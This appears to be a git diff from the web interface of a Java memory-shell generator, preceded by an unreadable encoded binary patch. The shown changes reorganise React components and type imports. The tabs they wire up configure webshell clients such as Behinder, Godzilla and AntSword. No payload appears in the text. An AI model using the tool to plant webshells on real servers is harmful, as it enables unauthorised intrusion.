zVJIUc=|QFwXsbrw%@-lnK}tP93cFp%8cft^BBazbr0}f+va?9ZdTx_sJwLX%nyIlm z>Lr*0ZUBA$4i%yA0T8VN(5E;p3myxM^dV{jVAM$;(B7IdNFtWfr#K~pSRbU%pHVF| z!W2EC0?A2z`jCiWF%$cLsVex zzOgk@=@{aG?h5SzN*|(>k6WJfDNad0P8Lfv80mQc=`RE*e-S{nFH`6$P|9BoP@BG^ zpPxvuUJ+~nC4RHQZ&CQIpwztWfF*DYpwORI=ta;9z-@p&M9I!QfGT9LCryX7!`&7pj0pkv?Ay*Q2G$H2hCCP87NgaSE0F}6q)6q^eIls@s&#cY9*g2 z>8}GNk#Rk)ugL!oXm6PNKQ;Jo_Dt9s zG?RvlJ@x(nH&mWc|8F=zdA(?rmv6l(mVjMC&( zVU%L1I3)+VDe~f!(QTWoR3A0#aON*i= zUC}B|NtB5T(V@7I-Y|s@Cm}w?DTziY`Jntc4zNF+Ar?d`Vft<3gDf$0K)$X{iC={n;;FcmMN)_J$rItMgrL1STkOQxY zQ7GxXRd}M*pm(4o`l!fNYNP}e5U934ppEh_D1C_1-XlQa{~1-5(dsZnAX{z#ef|!m zNc^K6b|MPWR-2|v@trkTi6_H`(n&iZj{C_)aX{Sx0``-@x ze>?2|pYE{P<&CMKHACMmtCqQHT~L+VCQEuc#>L*g+vY1v|2n3PLsng_+tGDX?F~C! zE4;n^XlB6ngscshS~m*4doJYKrc+BN+=;2ngEmaxG)xH18@cVo_{7=cT)&L|yw}mU z&pvz}d?D|f;cFen)I2l#_nL2}?tWD(;n0%LQ@(9iW7x5&ivw)W+?bJM z3e%#$TW#7Ut;O?ynZ4WcQ(KLz{`?Qmv2qET4;4Rv>R7?SDAsL@1#{XPzG2-KZ8_s^ z;j6Q!`}*6v5AQbmefG0uYYu!Lus*DLTXVyL?;^Gio11uM)6PwY!d5mKJMXn&aqbB* zCH;98yOh)9XDlo+&i37|Yi;k)u*1Hox6XuqpSE>`n09Jh1OC&Rk7Xy6*~;4OK49$L^L3_E zU5i%}=WM9H%yZ=YTP=oMY=1L(|0BD#eeQohXpfLG@^QD%YvmtY=$!d}=*^1S>VrOf z_I=IV*6q)id+>cC{a~TC-BWc9)HFQ%OB3hvqjrB2VgGxrwKc2~C z7DYyFoOU54=-OAk>`fQ0sn^)#M$Js;)D~A>ILCy!PJ1%x=0d9qY|WlDmbEvWCGNFg zNA`xdQy)iAEvBs;&NY1MXkP77)V|oj*-JbR)Np>WDP!}rlbyCDo?E>9gHN{&KmF@Y z(56GDf86>qV{C;(4L;@{U)}q184p8X*C)nT%wnG%8@(@F@M8z}MX>|>ESTs1a3O#V z-yg+>?YCh0;PkBafhgv2z=BOb5Khmt!JPxw_+YpY%%-BFryR6k&3_5U8M~ZcqFB%` z7VJ5=5EgbQiroUY{7|?M#vX(F`j7>SJRB}GWx0o=SgXSpOnW3;XwD*zM6p-kHi2u& zgriYx(a5P+K&DMkKcGQAd9}CC1%J^eZ%rD?;DmS8E zcSjfd*jxUy4R^0!iLBpTf9I=eX*G8)o;csH@1VM@-E})=eIvZxXT{ArCO6bqINzYl zhIHNP%sl@g~fZg&9Wj+ z`CT7cC8+xE?EQ7Sw(V0=_AK~<)gI>%{%G;Yq50FNF1wum!`=aB4z?UDH1uj`^SS<7 z_VSf$XDsN_Y*gpP57VD|PafYW)_zs{dK<>{-yL79&C^-@9(4Z=bpOq8;Y+sjCc6Ko zh4Fp**Ao}~mV312iOzwaZyf*b(%5F>r(Ip!cl7P$*Y5kAYY=|ddXTWUS@&C=X9cbj z`!8*<#s9OR)4#Q^d;ZrC!w;;ZM@H&ml~cU^$B#Lg++5MKweK-*-6?hFTmNOh*;@*S z_*R3l>63@U4IZ11{HqK*W#9K+{=@1q=fjhYJ6?2}GrX=xfs>8lMMq-~X7RfnJNH_z zupC?$vfH>WVqy29gvD$QuDR^-Jq*En7=ri1g{3U_ew46`y~cGpi+B))lhLbi{e}q- zqlA?#8rM~9J+9v}-J>YsUo0Ni)$9jc*D$NcQNnjD3D>o3=VQe6F{ag%aA7@5e}ZZC z1k(!K2Il%SO4!JTp6BF*YmS{gec*{tf{zOoK=A9CEh>)$>%vB zJV+2M_;W!B7k=YmA_TWcuv~_GJ!yA3c(E?VG2_>`6?p6 zb3qGoi$@c=&DRsT!*yjq?(%pLZdL|G_m)A?``oH51Y1auRThGWd?y6LBW`a7@|dR+ zdBP78dCFaNAkX-4BG35=A}@IDav(4HSR$|Zc_Od5PkERbVOx z9e10}^UVc2zT5)-3jDDJ{QcSj4T!7&feFv8070t?5NInxpyd%2A$UcCO(ZDG1xpB4 zR)iqI5&|7xPl9fi5LjD5P@czIL11PD!Cn$raH~oXY#~8bB?v0=og_%C1VOFJ5Lof_ z$`II9hTt>_Ds$H=5F8-E#3~S2^AjW(Rt16pYY1%lSZfG8tRc8T0(tIkpf4*`jyOBwdOU(+|b{+`iJIV;wfztr%=Ia@?iEvo~sL1-wm2 zn04O#{SLRw&F7UhpZ41UyMELA?`vN+u3hlsy&av$Ez7rPTC8`RkybyZ-$eE9zU)r@ zlg}Pxr2kym{6S^&-IE*ixD#^5?NGsDGl#y}c^7N7Z5L%fzCxRrJI)ubAN|RrvG$Ae zE$UB7jNQ8aRmI^v-xj?y-39)-^7AejcGbC$D@YAKl}JrqK%^FLP#wgL=MZt{w~2W0 zuo@t>`5Yp3_+uh{83PyU*S7mug~QlGCP;>`s&5FZ{*#Fwup;>UIFApSg_ zNC5uG2|92A3mH%JfFQvK zf(X8z1a`F{u=a(ZGmrO$-~b8sk|2^>`9UzO4g^_#5Jd5vB=D#!RN!v@LK`8Pr~5;2 zt}ZlA`$MBUcMX7GNEKA`tz^`5UliuV0i-wlK5j1bn}5AvLOTmd2T}p%zPox z;%|oU*UFRHtab6qC)eb?oxE+*#Qjk#o0Om2B(~VRNG(1uY87l;-Fz-f8H(_nZ z#IEsb(r3)g{A(|^AMFy{^>E}b0}RV5c1*K(_gl8EvDS9w?7efkSB@4=u1(#X6*!{J z+|#_LALd0uBlw%n*EfQ{cK-0!MC05vVeXA}>!0^|x8SQ6TlRI$y?pTDlTIsobZ;Nm z@#esWP3BJTJ!tE>(bikfMAnYJ()8An0_Tgrl%HkQqT|6^L060UOaFy}`Z3M@hP7U| z(6}k&*pIu1%?SAIaFS!jpxQ^beAqnX+XU^5PW|Q|(llN*$iBM!orC>HO|1F({u=L> zxaVcAs}uL)#(;`#viZ;cf}QbslOcQJ9yXnRzfY~UD++FWuc>|T_^7_$oQ@AJU%~o% zmF;iFzOMbcgHPN3@lTj;dzV%HhHN}$wW(tHa{Yd}?73;@{$lQB6?d+a-y zXlAh`DE47*I^QGU=^P!+8B*M^uJaz>Zr|i@+VWz@fO>X;``e8ODIYw%`HqX5&Y4Fy z+dS93V(US@g949~`P@C}=(o}39M9f4*1%!T86T%pCK-wLwvt_q8QC2wsK=zhn0}qR z=l#RsSF0E&*4~jeb7{^8ABPn^J}&rWvaw}kO0(<-y=^>oKmK~;)W(yaH+8w&Yw3?& zQbyNk{aKUgha4~c)*@(4F^APdPSjbZ3AJKx2YTGx(6-}Xn=_ZZ-)s%}>c?95+lT)8 zS;(OP!gJ+O;-& z8@nIfm3;nVfnk}MbcZk^#PkTX@V@~ek4^Nw{m&gay0f9@o7o2(FV#;S6f@2%p|$&v zhwFAlo;jOdF3sv<^2#HjEn3xFVUn?={F{Xr=ftnS{4sjdp25|}`CV5WCc7hxJG|rT zYawHUlONc)CC*6v;a*mT!|%pk3kDtk@%QQ94!8GpvoK$|_t=TI_pX*ru4Xgxo6~37 z>LyhWY*}S_{`cOg9=&z7B*UhfY#1I@-0;PG>#GwcE?%)}b#B1X7S`+ZJBEzbEShm^ z=b}k2nz%2fZCY?HRd25wJio*DZk`>s)=G)W+n3b&4TBMp*t7lXo|QMvc5Q>-VaUZq41_^ZVEFNj)r= zHM-Kt-skwG2SdF!d!`K?=#(n(_@P)d(}oHi|JkJ}{&dMyEB#*}+-iuB`p>NV!^%72 zENT^UfL}=v%+QXVnON0A`w8aakAZpZ`w343`vYOp>7Q(RY@LwNJ1Z%%!zbG^^e)uSV;EP87F;G6Y zQJkmX((``$^n};sI6b0qA^|?V6dBF9JmuL9-RRVE^(8I*C6J;=4q;xP?xUB`7jF(^yWC^;62yc}6;NL*hh5MyJ=dDb5T~%F=<$pA^|ZNe|E5 z=n&-3iZDe{qyuGh6xkp}Mu$;C6dB#RsTH)0pHpOX|G_`{3wF&7MMk#{ih^`B5;AHe zti5(UDh*dT)@y-G!lNH6m~_LPO*{qUn;Wdij16^p~z|= zy#jjV0G%_yKl-m%G(#XG2fk8d-IP^z*?7{x_-T~o=WB5Bcgf)2T@mIQy)kg=1HOPi z-~;#pUH~2Yp`$=_EQpSIZ3H#}n*kc^TL3!8#(+scHZT?#2aE?M026^8Ku@3-5DU=5 z$YY4gQ4y2iFcNg|b{DW4phLECa5Nt14fF;200{sV8yxSI{``yncvh1H3;+fKDL^WK zMMjeb3<1)C!2p&AO(u{93txD13UsA1NVUkz*FD_@CD4p@7Ba~|ZT8-ud!+{aNNPt$OM1cO+h-83PqJF>tpdR1}xB=CH zx_}4Z4%7x}0Cj*`Kuy2}po0OOfG$8JotNl}1RdF*2P^;<0#DJB<^Y{iYYZ5G5Fiww zlWze)AfN|=fChjs?9fT$OF%ww8Tbvj3#sIw;uW51OEb60?UD+z%YOgA<~J(I?&q+{zt$MX=})Afa~Dt_Vyn1 z9k2s1?!;v~um{);>;mQj&4A`WOQ0#x0%!$X18CvD1v~`q1NQ(jMz%hsiy#{e(DF>n zv0CO^nfKGAA+Z9;1cm^_Q<^A&6p0>J*4G4)AHdTpLMsZbEVRPV%A>A0v=RjaNHaw=_# z`u|Nx4yg(%C8yN1x-6+YgR<#fto>b zDp;DlBjnW2)SpzA^vG#7a_x|A3rMvn6_GtvMindd7)uRbXDCd(fFWf#8Cf#s!SPFfD}K?BRP#;)fk1kcm$~Ir)7vIN7XJO zyP>L{QOTt6l;&kDC~=OY48t)8hU5X=~C@co3lODF+};Iy7jL6}ifjPVsbVF@BJ-6lJw_ zYG`THs$D@Xpa_vc`l#c9LaOSME|sBf`%m3sq>)TYvbiFIYN(4Frtnf|Da6IYt2!47 zIfeC8TV#Xu)w;-0(!)Y#EOm*cDW)BjaS0x`Xu87MG@5ywz&=eL7~;hEn-Z>i^Qh zM-`HXRGHjQf9#xE5jm&!E!iw>T&M$(Y|3ND_{X6k<>CfujFh&rl@1o2=y?VGMYahb z0@i>QpxBv$Qjq9V1?h@F1waRw0c8RD+0q;+50nEe084;mq-Uj2;wu4_0Xu*mn%GFx z9bb@QHe7d;kxCe!!SHjRNMKo}4TGy+H#0vMFEszWp$ zXbw;e;((4oEYJ;z0eS)5fi6H-0dp@BiJrg}v^oN`1we(`1FeBpKue$<&=v>>+5psZ zG_Faf13(5l1DybJfGQ*zIYPf0s}4}*T>+{$faX3Kp+e*xDXGIe3h8Ko@<^^4pn_zC z_&;iGBJ%nJYHO2_?hAa{SR=KTDpCvdLplLa=NQc`;wfKshFYZRlOw9(0Z1nUDL|@1 z(-lgxOkgxH3K$8D5bz&&4o6}bFchGlg3ryw1)qi@4}32eT)n*l!Bqgt11}#K?#$o67wl~Y!+I4cl$#weWt3;%c2My5((`&BglfVh9{xeFPg2&#>_xS* z>(!l@&|9(|pW*Bnxs24w>%!AYhW^a1DbUgp-fJ~~_%h$_C zUK1-Lhy6O`WY^vue-O!6AIjOokDxlo(0#Q1J2f^7ZoyS7L!J(}B{pG@yx7aH)&H-Kk<6snjN zYR~^D_?mcY9Qlclf_(r@Q5_16vQbcc4^zdi1az*=q zIjA08o&7F$c$K@~)>%o_d-+i;)ps83{^^#}!Sr=_9EF@firDE{4@G<7D%T03pLkc` z20^S-lYW+QfuT>^V=1UPZ%p{-g6NH=|H8KmqP^oeQ>-?!8wiBP4@+P8Kr^Y)dQjFBM8LU3l(d^eAcOpI&lgdp`ksUt=YHw_rPE{gB86~nWr9}q;B`S9)%PtpWyMe5nfmhQB0U3- zEv85BOQ2cO>BfuP1!uSWL(fx)6;crb4#z*D2 zx2fnWoa22=(Gc~83g+J)Ki<%EejS6wAqWF4Ku`&+w_>>WCc`vPKhNC|@Hewb2 z+EjFQRNuI;CU;=ep-2Oc>%k!e3HJi-r-kKT5KHQCn-A5SZ(n=r3n=Kld@-;z)A?8} z9LnMIv|`=Hxlp2*tFLP4(EfZ#oS}6EOW|83=Z`H(ChUb_+^LLMS62Z8u_`QO^N2E% z{eh5{n+K^qq`zD8#brdhK=q9dw^mN8c;-x*G*R%gk{)G2LmnpL+4O84=1bGc2crZ{ z+HJ)jltIvDbJw!4?1nQ$2)X*-@E@^gXzu@2HG5IOJf~Gj(~YM>FF<|Qf_b?FL)Ap* zmqiNd|LEWGTHY4#tv@=+IX?dQZI%CwqJio=0M_2W75rdO%oZ=r-!tVcYvUToiQNZYvLU_QMUm^4A z%NN!^y*PgD&0B+t%$xG{Rj!~&^N7kIt$BPoka#{4#8G{f!-PeFlMa5ne=imG zlg!WLYe{b{w{k*j57_W4-lCm&-G+ZChf3+)6STY^^=P``==qG=ayf(y53ha7qg+iM z4&tc3yJ8E^db;%Tq9KZN=%)7ENP2y^U{8M7N>BK*zb;rfbV_TJr-~l>Yz999y{hWl zJX)4bsnffm^9fS$l^oq|%hRgBwQHcR=v*CNV+q5xc?WZla2`usGVfUfWCCA6!lm5P z2gIJAAg(D7t18y5vCB^SN>IwOsphohDHc+(0?T6h>KjpJ{C@7T{fs>`ErlO2n>-L4 zCE|a#8YO~%x0o`h?Kyd;Q+@t~Rl@O!RA$SmWt4~_K7Zeo68+Nak(Y&%(@&XJ;=i1@ zi$A(g8Li6LRYt24NjWlwJ+1WSKMYi%i+^trD6W)Nx~3Yyf4}ppIg6_C2bD2@{&?Y& z7bP`Da&4m8BTB9EXcjkB3AM(bO55o7rKg=oY zl@iXD9Cn|CR9PoVMCvcB1&U3jx8!?*vcwiHmg^52sHD*+1)#!kvW@XQj`TDof6{zi`J< z-!Zmlp7-8YHNQ)*tT&l-q?ex=IX~zdt{eZ-wgC zMzO7|j`HaKlW$Z1V1HP`-@njWImm@GtYqWmK2`&(e#`iW-z1c~amjI`^l^#3MAbiD zQ`E0y>e8m{ycLiByKz>ke~M#rhZRPtesy>#(@hDE z^3}Sq*Gi0te?Ef$b9mG*^YSXK2J25&_Y%7USu`(e3uA8NGt{OM29MTUZ|6NlQ=aq@94jB2zmqPDLtKy#zl#&zt?=E#E z#ze`TbD_U~H_S>9lxQoB|8&-t7KFb&WaOF(yRhUsQF49w+hba3h3u!giB^Bs`R|s# zl3iA+*Z=KZ_5U!u>Ti>Z$^YtWm8kwa`X|dK9Z6OAWa|3u#OR=rE zG=N_jBl=ds^MMkN4yy=j0{G#UVncCP05@wT`ie&bc%xS0#;WSuZ6o9EeS9+`{sjU; z&lnL%*fejAZ#f?Vxm#<|*HL|~?A9tam3n?TXPhZ~@t5|~Zu~@ySfz}VZo;Rx#;^48 z__3d!IGpj_`f>V`D4|GMeS2-0%#(eSk3JQPa^~szB~(~decx@+qmdmdSWZ4sq;X!) zE!*G=m-33->{q?!jPalU%f}*(YCN~Q>PjQtvkhE{!!JiJa7FLFCdl{g@fJnO*~r09 zO4+sgP3SfL;=}z#Ik`c6H7csAzPq=}A+itzLOV1*i93Q+H7Zr~wt1(k=v?JR zksfQxJGMg;mqUXd4%ZuKTlVSh0q8}wAwMckOfg-Z7;DvVSW(WArhFmF23%9Dv*3F* z227tjrAXr?a%jQWc_U|KW!si7i*j`QE*x`I-;Qi%WvIJFn0dHJ!J9jy_o}Kd_to^< zw&(tg^h?V3SajRvaNec8=o_HEe|XH6tc(Ler+w-73qL%}!Qq^6`LWvU&EZSU^n36W z48L?zmLA`FX=q53++JwJAA$=|-#482dQ`S)$R>KUN>4hm{HSjv)<-Axdz|a#Wm;H; zId9wn%}`%qykLx`NzWyV2NWrU@pLE%z4&J!Rn=D@e^{5 z$@4qnDbwE0dnR(&6G!G|N?dH7r4|2k365Xkzno-MBsAyyUdwB_|8FcHf~ z%F{gO2lmsEjFx3-BFal;T^<{O38uc}IG|C0UDI1LmKG_fuR-=t{>e8mEbDDi&gYT* zI~WgC-<*8At+wNRVZe?e4fWm1Q|@+Iv2jIPOdqw{$C3OUIi|j~IdOT{%{d)cq!np+ z^ZK38uj*@_=U8;L-`VPEr6L9OMbM30YV~SyYe_&+j+T!`QAhQS&zC>un+ zV^9#c_273pi$@*R7e0SEq=v~C%OdIA1%@3hO~L$B7ua`%4;kjYKhHEN>Jk z_H+E>TZQ>(6`i#N3>m$g7P6<%zrk@rx6=M^Ee% zl>DmdYq2L<_DD{iAj~iF>PaG>0nMuF3$mlPKhVyAxTtMc7_KgN_aPlzV))PKzq0qHqloy4ODJ!@ui=keBL^)G2bcA_mDjDB=+nd4WMy zKNc&B@=EXQ=zW2m?zDM*4=u(`iK><`;)y_Zk2L5x!6 z2C8rVp48e9zVz7?95|qZC3Gz7NGgAnCED?gabl%%7oc7ft)HC6JNB1$D0&S`<1+?` zRT|RSG4*}m=3h1MVm09$?lW~Tg6X5aF}(3UGmp+@`!^Nk98Tlrec&W)enB)jori)} zRbT0Sv*QSpc9C=PWS0WG8sO#KMYSuXs;ckRuGqB2#fpvZ)8x?0eW+>&Vp*`xz^sdKvuLd^;4TvM(^dX$;{-d`=ZFWOn$FFXig@-Lj2-P9-4+* zk)LK=CU;4MWM?M#N`T{~-q)qRJ(bDh214^mCLfi68G`Y@4kZHBKh;nD`dGy=Q`%y$ zPRkgbk{O>R?=tpPt^8rZ?TU7C5YRQ6Sy}u8l~rGn?)O!n5jz(w9xV!A50TrWzC`_Q zaD4nh-}X9`_3;Yu^7ql~9m3o8gCF?s0Q&XAT~*pu+Sp?Bed>v&&}b;%*H3g&+HF(K zPoutLz1R6iUhNkHjzVWg z5?cEg233_ZG#zDQc2((R^0X4Qyqes+&d$6a)Bpx*RMYYxlS|3*kkkKksM+za24cmQ zTUEjtc}HcB{}>6|DO=MZP00!t7f*gPO_5`VdQJpxXtMq2lU_wR-H}6gii%J9Y-hu<#YH)TkwXXFeqP-w zq-s>qA|;2;A%CV+bmO((!0R@SPkjlz7$Vsy}dH~kKl`QaBA_;46zxn zWNG5gfBQnT=HWSFb;{Tyc;_X2C7S5?qxqsGx11+d%-c0jyl#ieR&Eprf>>`7XMyC@ zGI8ODH;L8oZHM36B*yWIwy6^Px% z06j0*CRWdzQ6Tm;Gr_%z>z;_sO>oLMFXD;F%9_xj@aM#Q)V{d9iLD8a%gUUkxrsUd+T0|EKQuS7 zLghZo(8{>?Vi{iB!la@pZuS8@*utbWYWC*2ZYE*yB{1)Xn~8%!DgM~Qq#pP3FmWrv zmEmdbCR+Z5hlzCwxsG4-FsZDH+N%jao>d!O71}d*H!08e)h=GRTpg3D)uBM$BaIkb nGCO5;&TQVS@5-t2;8~4PvFM6W({#!F { diff --git a/web/src/components/magicui/line-shadow-text.tsx b/web/src/components/magicui/line-shadow-text.tsx index 4df48c8b..f034cd3f 100644 --- a/web/src/components/magicui/line-shadow-text.tsx +++ b/web/src/components/magicui/line-shadow-text.tsx @@ -1,5 +1,5 @@ -import { MotionProps, motion } from "motion/react"; -import { cn } from "@/lib/utils"; +import {type MotionProps, motion } from "motion/react"; +import {cn} from "@/lib/utils"; interface LineShadowTextProps extends Omit, keyof MotionProps>, MotionProps { shadowColor?: string; diff --git a/web/src/components/magicui/rainbow-button.tsx b/web/src/components/magicui/rainbow-button.tsx index 9c527187..3a67dc72 100644 --- a/web/src/components/magicui/rainbow-button.tsx +++ b/web/src/components/magicui/rainbow-button.tsx @@ -1,7 +1,7 @@ -import { Slot } from "@radix-ui/react-slot"; -import { cva, VariantProps } from "class-variance-authority"; +import {Slot} from "@radix-ui/react-slot"; +import {cva, type VariantProps} from "class-variance-authority"; import React from "react"; -import { cn } from "@/lib/utils"; +import {cn} from "@/lib/utils"; const rainbowButtonVariants = cva( cn( diff --git a/web/src/components/tips/jre-tip.tsx b/web/src/components/memshell/jre-tip.tsx similarity index 100% rename from web/src/components/tips/jre-tip.tsx rename to web/src/components/memshell/jre-tip.tsx diff --git a/web/src/components/main-config-card.tsx b/web/src/components/memshell/main-config-card.tsx similarity index 84% rename from web/src/components/main-config-card.tsx rename to web/src/components/memshell/main-config-card.tsx index c5094d1e..3db744ca 100644 --- a/web/src/components/main-config-card.tsx +++ b/web/src/components/memshell/main-config-card.tsx @@ -9,10 +9,16 @@ import { WaypointsIcon, ZapIcon, } from "lucide-react"; -import { JSX, useCallback, useEffect, useId, useState } from "react"; -import { FormProvider, UseFormReturn } from "react-hook-form"; +import { type JSX, useCallback, useEffect, useId, useState } from "react"; +import { FormProvider, type UseFormReturn } from "react-hook-form"; import { useTranslation } from "react-i18next"; -import { JreTip } from "@/components/tips/jre-tip.tsx"; +import { AntSwordTabContent } from "@/components/memshell/tabs/antsword-tab"; +import { BehinderTabContent } from "@/components/memshell/tabs/behinder-tab"; +import { CommandTabContent } from "@/components/memshell/tabs/command-tab"; +import CustomTabContent from "@/components/memshell/tabs/custom-tab"; +import { GodzillaTabContent } from "@/components/memshell/tabs/godzilla-tab"; +import { NeoRegTabContent } from "@/components/memshell/tabs/neoreg-tab"; +import { Suo5TabContent } from "@/components/memshell/tabs/suo5-tab"; import { Card, CardContent, CardHeader, CardTitle } from "@/components/ui/card.tsx"; import { FormControl, @@ -28,15 +34,8 @@ import { Label } from "@/components/ui/label.tsx"; import { Select, SelectContent, SelectItem, SelectTrigger, SelectValue } from "@/components/ui/select.tsx"; import { Switch } from "@/components/ui/switch.tsx"; import { Tabs, TabsList, TabsTrigger } from "@/components/ui/tabs"; -import { FormSchema } from "@/types/schema.ts"; -import { JDKVersion, MainConfig, ServerConfig, ShellToolType } from "@/types/shell.ts"; -import { AntSwordTabContent } from "./tools/antsword-tab"; -import { BehinderTabContent } from "./tools/behinder-tab"; -import { CommandTabContent } from "./tools/command-tab"; -import CustomTabContent from "./tools/custom-tab"; -import { GodzillaTabContent } from "./tools/godzilla-tab"; -import { NeoRegTabContent } from "./tools/neoreg-tab"; -import { Suo5TabContent } from "./tools/suo5-tab"; +import type { ShellFormSchema } from "@/types/schema.ts"; +import { type MainConfig, type ServerConfig, ShellToolType } from "@/types/shell.ts"; const shellToolIcons: Record = { [ShellToolType.Behinder]: , @@ -61,7 +60,7 @@ export default function MainConfigCard({ servers, }: Readonly<{ mainConfig: MainConfig | undefined; - form: UseFormReturn; + form: UseFormReturn; servers?: ServerConfig; }>) { const [shellToolMap, setShellToolMap] = useState<{ @@ -143,7 +142,7 @@ export default function MainConfigCard({ } form.resetField("serverVersion"); - form.resetField("bypassJavaModule"); + form.resetField("byPassJavaModule"); form.resetField("urlPattern"); } }, @@ -315,43 +314,6 @@ export default function MainConfigCard({ )} /> -
- ( - - - {t("mainConfig.jre")} {t("optional")} - - - - )} - /> -
( - + )} /> diff --git a/web/src/components/package-config-card.tsx b/web/src/components/memshell/package-config-card.tsx similarity index 94% rename from web/src/components/package-config-card.tsx rename to web/src/components/memshell/package-config-card.tsx index 23a10eb6..eb0b3851 100644 --- a/web/src/components/package-config-card.tsx +++ b/web/src/components/memshell/package-config-card.tsx @@ -1,12 +1,12 @@ import { PackageIcon } from "lucide-react"; import { useEffect, useState } from "react"; -import { FormProvider, UseFormReturn } from "react-hook-form"; +import { FormProvider, type UseFormReturn } from "react-hook-form"; import { useTranslation } from "react-i18next"; import { Card, CardContent, CardHeader, CardTitle } from "@/components/ui/card.tsx"; import { FormControl, FormField, FormItem, FormLabel } from "@/components/ui/form.tsx"; import { RadioGroup, RadioGroupItem } from "@/components/ui/radio-group.tsx"; -import { FormSchema } from "@/types/schema.ts"; -import { PackerConfig } from "@/types/shell.ts"; +import type { ShellFormSchema } from "@/types/schema.ts"; +import type { PackerConfig } from "@/types/shell.ts"; type Option = { name: string; @@ -18,7 +18,7 @@ export default function PackageConfigCard({ form, }: Readonly<{ packerConfig: PackerConfig | undefined; - form: UseFormReturn; + form: UseFormReturn; }>) { const [options, setOptions] = useState>([]); diff --git a/web/src/components/quick-usage.tsx b/web/src/components/memshell/quick-usage.tsx similarity index 100% rename from web/src/components/quick-usage.tsx rename to web/src/components/memshell/quick-usage.tsx diff --git a/web/src/components/results/agent.tsx b/web/src/components/memshell/results/agent.tsx similarity index 90% rename from web/src/components/results/agent.tsx rename to web/src/components/memshell/results/agent.tsx index 24dd485d..6782927a 100644 --- a/web/src/components/results/agent.tsx +++ b/web/src/components/memshell/results/agent.tsx @@ -1,10 +1,10 @@ import { ScrollTextIcon } from "lucide-react"; import { useTranslation } from "react-i18next"; +import { Button } from "@/components/ui/button"; +import { Card, CardContent, CardHeader, CardTitle } from "@/components/ui/card"; +import { Separator } from "@/components/ui/separator"; import { downloadBytes, formatBytes } from "@/lib/utils"; -import { GenerateResult } from "@/types/shell"; -import { Button } from "../ui/button"; -import { Card, CardContent, CardHeader, CardTitle } from "../ui/card"; -import { Separator } from "../ui/separator"; +import type { GenerateResult } from "@/types/shell"; export function AgentResult({ packMethod, diff --git a/web/src/components/results/basic-info.tsx b/web/src/components/memshell/results/basic-info.tsx similarity index 94% rename from web/src/components/results/basic-info.tsx rename to web/src/components/memshell/results/basic-info.tsx index 5c0fe353..868234fa 100644 --- a/web/src/components/results/basic-info.tsx +++ b/web/src/components/memshell/results/basic-info.tsx @@ -1,19 +1,19 @@ import { FileTextIcon } from "lucide-react"; import { useTranslation } from "react-i18next"; +import { Card, CardContent, CardHeader, CardTitle } from "@/components/ui/card"; +import { Separator } from "@/components/ui/separator"; import { shouldHidden } from "@/lib/utils"; import { - AntSwordShellToolConfig, - BehinderShellToolConfig, - CommandShellToolConfig, - GenerateResult, - GodzillaShellToolConfig, - NeoreGeorgShellToolConfig, + type AntSwordShellToolConfig, + type BehinderShellToolConfig, + type CommandShellToolConfig, + type GenerateResult, + type GodzillaShellToolConfig, + type NeoreGeorgShellToolConfig, ShellToolType, - Suo5ShellToolConfig, + type Suo5ShellToolConfig, } from "@/types/shell"; -import { CopyableField } from "../copyable-field"; -import { Card, CardContent, CardHeader, CardTitle } from "../ui/card"; -import { Separator } from "../ui/separator"; +import { CopyableField } from "../../copyable-field"; import { FeedbackAlert } from "./feedback-alert"; export function BasicInfo({ generateResult }: Readonly<{ generateResult?: GenerateResult }>) { diff --git a/web/src/components/results/feedback-alert.tsx b/web/src/components/memshell/results/feedback-alert.tsx similarity index 94% rename from web/src/components/results/feedback-alert.tsx rename to web/src/components/memshell/results/feedback-alert.tsx index 1130a2be..ca494b94 100644 --- a/web/src/components/results/feedback-alert.tsx +++ b/web/src/components/memshell/results/feedback-alert.tsx @@ -10,8 +10,8 @@ import { AlertDialogHeader, AlertDialogTitle, AlertDialogTrigger, -} from "../ui/alert-dialog"; -import { Button } from "../ui/button"; +} from "@/components/ui/alert-dialog"; +import { Button } from "@/components/ui/button"; export function FeedbackAlert() { const { t } = useTranslation(); diff --git a/web/src/components/results/jar-result.tsx b/web/src/components/memshell/results/jar-result.tsx similarity index 86% rename from web/src/components/results/jar-result.tsx rename to web/src/components/memshell/results/jar-result.tsx index 4613cea2..7d07bd0f 100644 --- a/web/src/components/results/jar-result.tsx +++ b/web/src/components/memshell/results/jar-result.tsx @@ -1,7 +1,7 @@ import { useTranslation } from "react-i18next"; +import { Button } from "@/components/ui/button"; import { downloadBytes } from "@/lib/utils"; -import { GenerateResult } from "@/types/shell"; -import { Button } from "../ui/button"; +import type { GenerateResult } from "@/types/shell"; export function JarResult({ packResult, diff --git a/web/src/components/results/multi-packer.tsx b/web/src/components/memshell/results/multi-packer.tsx similarity index 94% rename from web/src/components/results/multi-packer.tsx rename to web/src/components/memshell/results/multi-packer.tsx index d02f15ab..b220abff 100644 --- a/web/src/components/results/multi-packer.tsx +++ b/web/src/components/memshell/results/multi-packer.tsx @@ -1,17 +1,16 @@ -import { TFunction } from "i18next"; import { useEffect, useState } from "react"; +import { useTranslation } from "react-i18next"; import CodeViewer from "@/components/code-viewer"; -import { Select, SelectContent, SelectItem, SelectTrigger, SelectValue } from "../ui/select"; +import { Select, SelectContent, SelectItem, SelectTrigger, SelectValue } from "@/components/ui/select"; export function MultiPackResult({ allPackResults, packMethod, - t, }: Readonly<{ allPackResults: object | undefined; packMethod: string; - t: TFunction; }>) { const showCode = packMethod === "JSP"; + const {t} = useTranslation(); const packMethods = Object.keys(allPackResults ?? {}); const [selectedMethod, setSelectedMethod] = useState(packMethods[0]); const [packResult, setPackResult] = useState(allPackResults?.[selectedMethod as keyof typeof allPackResults] ?? ""); diff --git a/web/src/components/results/result-component.tsx b/web/src/components/memshell/results/result-component.tsx similarity index 90% rename from web/src/components/results/result-component.tsx rename to web/src/components/memshell/results/result-component.tsx index 1919cbc3..88fe896b 100644 --- a/web/src/components/results/result-component.tsx +++ b/web/src/components/memshell/results/result-component.tsx @@ -1,6 +1,6 @@ -import { TFunction } from "i18next"; +import { useTranslation } from "react-i18next"; import CodeViewer from "@/components/code-viewer"; -import { GenerateResult } from "@/types/shell"; +import type { GenerateResult } from "@/types/shell"; import { AgentResult } from "./agent"; import { JarResult } from "./jar-result"; import { MultiPackResult } from "./multi-packer"; @@ -9,20 +9,19 @@ export function ResultComponent({ packResult, allPackResults, packMethod, - t, generateResult, }: Readonly<{ packResult: string | undefined; allPackResults: Map | undefined; packMethod: string; - t: TFunction; generateResult?: GenerateResult; }>) { const showCode = packMethod === "JSP"; const isAgent = packMethod.startsWith("Agent"); const isJar = packMethod === "Jar"; + const { t } = useTranslation(); if (allPackResults) { - return ; + return ; } if (isAgent) { diff --git a/web/src/components/shell-result.tsx 